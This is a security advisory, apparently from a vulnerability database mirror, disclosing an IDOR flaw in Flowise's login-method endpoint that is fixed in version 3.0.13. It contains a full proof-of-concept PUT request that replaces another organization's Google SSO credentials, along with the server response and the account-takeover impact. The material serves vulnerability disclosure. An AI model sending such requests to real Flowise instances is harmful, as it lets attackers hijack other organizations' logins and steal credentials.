GHSA-CWC3-P92J-G7QM

Vulnerability from github – Published: 2026-03-06 22:20 – Updated: 2026-03-09 13:15
VLAI?
Summary
Flowise has IDOR leading to Account Takeover and Enterprise Feature Bypass via SSO Configuration
Details

Summary

The Flowise platform has a critical Insecure Direct Object Reference (IDOR) vulnerability combined with a Business Logic Flaw in the PUT /api/v1/loginmethod endpoint.

While the endpoint requires authentication, it fails to validate if the authenticated user has ownership or administrative rights over the target organizationId. This allows any low-privileged user (including "Free" plan users) to:

  1. Overwrite the SSO configuration of any other organization.
  2. Enable "Enterprise-only" features (SSO/SAML) without a license.
  3. Perform Account Takeover by redirecting the authentication flow.

Details

The backend accepts the organizationId parameter from the JSON body and updates the database record corresponding to that ID. There is no middleware or logic check to ensure request.user.organizationId === body.organizationId.

PoC

Prerequisites: 1. The attacker creates a standard "Free" account and obtains a valid JWT token (Cookie/Header). 2. The attacker identifies the target organizationId (e.g., bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d).

Step-by-Step Exploitation: The attacker sends the following PUT request to overwrite the victim's Google SSO configuration.

Request:

PUT /api/v1/loginmethod HTTP/2
Host: cloud.flowiseai.com
Cookie: token=<ATTACKER_JWT_TOKEN>
Content-Type: application/json
Accept: application/json

{
  "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
  "userId": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", 
  "providers": [
    {
      "providerLabel": "Google",
      "providerName": "google",
      "config": {
        "clientID": "ATTACKER_MALICIOUS_CLIENT_ID",
        "clientSecret": "ATTACKER_MALICIOUS_SECRET"
      },
      "status": "enable"
    }
  ]
}

Response: The server responds with 200 OK, confirming the modification has been applied to the victim's organization context.

{
  "status": "OK",
  "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d"
}

Impact

  • Account Takeover: An attacker can replace a victim organization's legitimate OAuth credentials (e.g., Google Client ID) with their own malicious application credentials. When victim employees try to log in via SSO, they are authenticated against the attacker's application, potentially allowing the attacker to hijack sessions or steal credentials.
  • License Control Bypass: Users on the "Free" tier can illicitly enable and configure SSO providers (Azure, Okta, etc.), which are features strictly restricted to the "Enterprise" plan.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.12"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30823"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-06T22:20:50Z",
    "nvd_published_at": "2026-03-07T06:16:10Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe Flowise platform has a critical Insecure Direct Object Reference (IDOR) vulnerability combined with a Business Logic Flaw in the PUT /api/v1/loginmethod endpoint.\n\nWhile the endpoint requires authentication, it fails to validate if the authenticated user has ownership or administrative rights over the target organizationId. This allows any low-privileged user (including \"Free\" plan users) to:\n\n1. Overwrite the SSO configuration of any other organization.\n2. Enable \"Enterprise-only\" features (SSO/SAML) without a license.\n3. Perform Account Takeover  by redirecting the authentication flow.\n\n### Details\nThe backend accepts the organizationId parameter from the JSON body and updates the database record corresponding to that ID. There is no middleware or logic check to ensure request.user.organizationId === body.organizationId.\n\n### PoC\nPrerequisites:\n1. The attacker creates a standard \"Free\" account and obtains a valid JWT token (Cookie/Header).\n2. The attacker identifies the target organizationId (e.g., bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d).\n\n**Step-by-Step Exploitation**: The attacker sends the following PUT request to overwrite the victim\u0027s Google SSO configuration.\n\n**Request**:\n\n```http\nPUT /api/v1/loginmethod HTTP/2\nHost: cloud.flowiseai.com\nCookie: token=\u003cATTACKER_JWT_TOKEN\u003e\nContent-Type: application/json\nAccept: application/json\n\n{\n  \"organizationId\": \"bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d\",\n  \"userId\": \"6ab311fa-0d0a-4bd6-996e-4ae721377fb2\", \n  \"providers\": [\n    {\n      \"providerLabel\": \"Google\",\n      \"providerName\": \"google\",\n      \"config\": {\n        \"clientID\": \"ATTACKER_MALICIOUS_CLIENT_ID\",\n        \"clientSecret\": \"ATTACKER_MALICIOUS_SECRET\"\n      },\n      \"status\": \"enable\"\n    }\n  ]\n}\n```\n\n**Response**: The server responds with 200 OK, confirming the modification has been applied to the victim\u0027s organization context.\n\n```json\n{\n  \"status\": \"OK\",\n  \"organizationId\": \"bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d\"\n}\n```\n\n### Impact\n\n- **Account Takeover**: An attacker can replace a victim organization\u0027s legitimate OAuth credentials (e.g., Google Client ID) with their own malicious application credentials. When victim employees try to log in via SSO, they are authenticated against the attacker\u0027s application, potentially allowing the attacker to hijack sessions or steal credentials.\n- **License Control Bypass**: Users on the \"Free\" tier can illicitly enable and configure SSO providers (Azure, Okta, etc.), which are features strictly restricted to the \"Enterprise\" plan.",
  "id": "GHSA-cwc3-p92j-g7qm",
  "modified": "2026-03-09T13:15:47Z",
  "published": "2026-03-06T22:20:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-cwc3-p92j-g7qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30823"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flowise has IDOR leading to Account Takeover and Enterprise Feature Bypass via SSO Configuration"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…